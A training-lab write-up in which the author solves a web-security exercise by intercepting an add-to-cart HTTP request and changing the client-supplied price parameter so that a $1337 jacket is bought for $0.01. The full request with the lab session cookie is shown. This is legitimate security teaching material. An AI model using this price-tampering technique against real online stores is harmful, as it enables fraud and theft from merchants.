

# Application logic vulnerabilities

## LAB 45 Excessive trust in client-side controls

I was provided with an account of user `wiener:peter` that has \$100 on his account:

Store credit:  
\$100.00

**My Account**

Your username is: wiener

Email

Update email

I was asked to buy “Lightweight "I33t" Leather Jacket” that costs \$1337.

To do so, I tested the order making process by adding goods to the cart and trying to spend money. I have noticed, that, when adding an item to the cart, it contains price parameter:

**Request**

Pretty Raw Hex

```
1 POST /cart HTTP/2
2 Host: 0a300008036119ac814cc06300ae0035.web-security-academy.net
3 Cookie: session=cjmoRREDRtcfMe6aT3WdyOWe1Xgr5UQ
4 Content-Length: 49
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not_A_Brand";v="8", "Chromium";v="120"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0a300008036119ac814cc06300ae0035.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
13 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0a300008036119ac814cc06300ae0035.web-security-academy.net/product?productId
19 Accept-Encoding: gzip, deflate, br
20 Accept-Language: en-US,en;q=0.9
21 Priority: u=0, i
22
23 productId=I33t&redir=PRODUCT&quantity=1&price=133700
```

I changed the value of this parameter to “1” and observed that the price in the cart has changed:

Store credit:  
\$100.00

**Cart**

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$0.01	<div><div>-</div><div>1</div><div>+</div></div> <div><button>Remove</button></div>

Coupon:

Total: \$0.01

What is left is to place the order and demonstrate, how order has been made with exploiting site’s purchase making logic:

Congratulations, you solved the lab!

Store credit:  
\$99.99

Your order is on its way!

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$1337.00	1

Total: \$0.01

